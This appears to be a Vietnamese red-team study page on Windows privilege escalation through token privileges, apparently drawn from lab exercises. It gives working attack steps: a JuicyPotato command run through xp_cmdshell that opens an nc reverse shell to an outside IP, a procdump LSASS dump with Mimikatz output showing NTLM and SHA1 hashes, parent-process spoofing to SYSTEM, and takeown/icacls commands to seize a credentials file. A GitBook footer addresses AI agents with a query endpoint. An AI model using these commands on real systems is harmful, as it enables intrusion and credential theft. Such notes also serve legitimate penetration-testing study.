> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/windows-user-privileges.md).

# Windows User Privileges

## Tổng quan về Privileges Window

Trong Windows, mỗi **Security Principal** sẽ có một **SID** riêng. Khi một user (Subject) muốn truy cập vào một **File, Folder, Service,...** (Object), Windows sẽ lấy **Access Token** của user đó (bao gồm **User SID, Group SIDs, Privileges** và các thông tin truy cập khác) rồi so sánh với các **ACE (Access Control Entries)** trong DACL của Object. Dựa trên kết quả của quá trình Access Check, Windows sẽ quyết định cấp quyền (**Access Granted**) hoặc từ chối truy cập (**Access Denied**).

<figure><img src="/files/FF4qXF2NBQ0O8WU7b9i6" alt=""><figcaption></figcaption></figure>

> **Lưu ý thì khi account đó có các privilege này mà bị disable thì có thể sử dụng tool để enable lại rồi exploit. Dùng lệnh `whoami /priv` để xem coi có những privilege nào, disable thì tool tự enable**

## SeImpersonate and SeAssignPrimaryToken

**SeImpersonatePrivilege** là privilege thường được cấp cho Administrator và nhiều Service Account (IIS, MSSQL, NETWORK SERVICE,...). Nó cho phép process/thread **impersonate** security context của một user đã authenticate để thực thi hành động dưới quyền của user đó. Cơ chế này giúp service truy cập tài nguyên thay mặt người dùng, nhưng cũng có thể bị lạm dụng để leo thang đặc quyền nếu attacker lấy được token của tài khoản có quyền cao hơn (ví dụ SYSTEM).

Tóm gọn lại thì **SeImpersonatePrivilege** cho phép ta sử dụng token quyền cao đó để impersonate. Còn **SeAssignPrimaryTokenPrivilege** cũng liên quan đến việc sử dụng access token, nhưng thay vì **impersonate** ở mức thread, nó cho phép gán token đó làm **primary token** cho một process mới. Để lấy được SYSTEM token, attacker thường dùng các kỹ thuật thuộc Potato family.

<figure><img src="/files/eMAndaeiXSlk2IIzQiLd" alt=""><figcaption></figcaption></figure>

`JuicyPotato` sẽ không hoạt động được với **Windows Server 2019** và **Windows 10 build 1809** trở lên. Chúng ta có thể dùng **`PrintSpoofer`** và **`RoguePotato`** để thay thế

Đọc thêm :

{% embed url="<https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/>" %}

{% embed url="<https://micahvandeusen.com/blog/the-power-of-seimpersonation>" %}

> Ngoài ra khi user service bị disable SeImpersonate thì chúng ta vẫn có thể enable lại
>
> Script enable: <https://github.com/itm4n/FullPowers>
>
> Hoặc script này để enable all disable priv: <https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1>

#### Exploit :&#x20;

<https://github.com/ohpe/juicy-potato>\
(Nhớ kéo tool về và kéo nc về để reverse shell)

<pre class="language-powershell"><code class="lang-powershell">mssqlclient.py sql_dev@10.129.43.43 -windows-auth
<strong>#Str0ng_P@ssw0rd!
</strong>xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.15.4 3333 -e cmd.exe" -t *
</code></pre>

## SeDebugPrivilege

**SeDebugPrivilege** cho phép process của user debug process khác với quyền rất ca&#x6F;**.** Attacker có thể lợi dụng quyền này để **handle** tới **`lsass.exe`**, rồi đọc hoặc dump memory của **LSASS**. Sau đó tool như **Mimikatz** sẽ parse file dump đó để tìm credential material, ví dụ **NTLM hash**, Kerberos ticket, logon session, v.v.

```shellscript
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

mimikatz :

```powershell
C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>
```

Ngoài dump LSASS, attacker cũng có thể lợi dụng **SeDebugPrivilege** để leo thang lên **SYSTEM**.

Privilege này cho phép attacker mở handle mạnh tới các process đang chạy dưới quyền **SYSTEM**, ví dụ **winlogon.exe** hoặc **lsass.exe**.

Sau đó attacker dùng kỹ thuật parent process spoofing để tạo một process mới và chỉ định process SYSTEM đó làm parent.

Vì một số thuộc tính của parent, bao gồm process token, có thể được kế thừa khi tạo process, process con mới có thể chạy dưới quyền **NT AUTHORITY\SYSTEM**.

Dùng tool này :&#x20;

<https://github.com/decoder-it/psgetsystem>

```powershell
tasklist #using to get pid and service running
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")
```

## SeTakeOwnershipPrivilege

Privilege này giúp chúng ta take ownership của bất kỳ object nào như **AD object, NTFS file/folder, service, process,…** Để có thể tương tác với các object đó nếu ko có permission.

Takeowner file ( command cho Powershell ):

```shellscript
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
```

Chỉnh ACl để tương tác với file

```shellscript
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
```

Thì có thể dùng để read các file quan trọng nếu user không có quyền.<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/windows-user-privileges.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
